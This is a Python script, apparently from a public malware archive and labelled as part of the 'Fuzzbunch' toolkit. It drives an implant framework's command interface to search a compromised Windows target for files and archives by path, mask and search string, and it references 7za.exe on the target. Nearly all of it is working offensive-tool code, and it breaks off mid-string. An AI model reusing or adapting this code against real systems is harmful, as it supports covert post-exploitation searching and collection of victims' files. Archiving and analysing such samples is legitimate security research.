# ------------------------------------------------------------ # name Fuzzbunch # type exploit # cve — # year unknown # os Windows # authors unknown # source RamadhanAmizudin/malware # archived RamadhanAmizudin, krisyotam (2026) # notes — # ------------------------------------------------------------ import dsz, dsz.path, dsz.lp, dsz.file import re, os, time from optparse import OptionParser results = [] results_dict = {} def get_files(file_name, file_path): try: list_files = dsz.file.GetNames(str(file_name), str(file_path)) return list_files except Exception as e: dsz.ui.Echo(str(e), dsz.ERROR) def run_cmd(cmd): dsz.ui.Echo('Searching for files') dsz.control.echo.Off() dsz.cmd.Run(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() try: dir_path = dsz.cmd.data.Get('DirItem::path', dsz.TYPE_STRING) dsz.ui.Echo('Found {0} archive(s)'.format(str(len(dir_path)))) return dir_path except RuntimeError: return False def files_in_path(path, mask): cmd = 'dir -mask {0} -path "{1}"'.format(mask, path.rstrip('\\')) dsz.control.echo.Off() dsz.cmd.Run(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() list_of_files = dsz.cmd.data.Get('DirItem::FileItem::name', dsz.TYPE_STRING) return list_of_files def build_cmd(options): cmd = 'dir -mask {0} -path "{1}"'.format(options.file_mask, options.dir_path) if (options.recursive == True): cmd = (cmd + ' -recursive') return cmd def get_options(): parser = OptionParser() parser.add_option('-f', dest='target_file_path', type='string', default=None, help='The location of 7za.exe on target') parser.add_option('-p', dest='dir_path', type='string', default=None, help='The path to run dir against') parser.add_option('-m', dest='file_mask', type='string', default=None, help='File mask') parser.add_option('-s', dest='search_item', type='string', default=None, help='File string to search for') parser.add_option('-r', dest='recursive', action='store_true', default='False', help='Boolean value for recursive tasking, defaults to false') (options, args) = parser.parse_args() return options def check_options(options): if (options.target_file_path == None): return False elif (options.dir_path == None): return False elif (options.file_mask == None): return False elif (options.search_item == None): return False else: return True def help(): str = 'python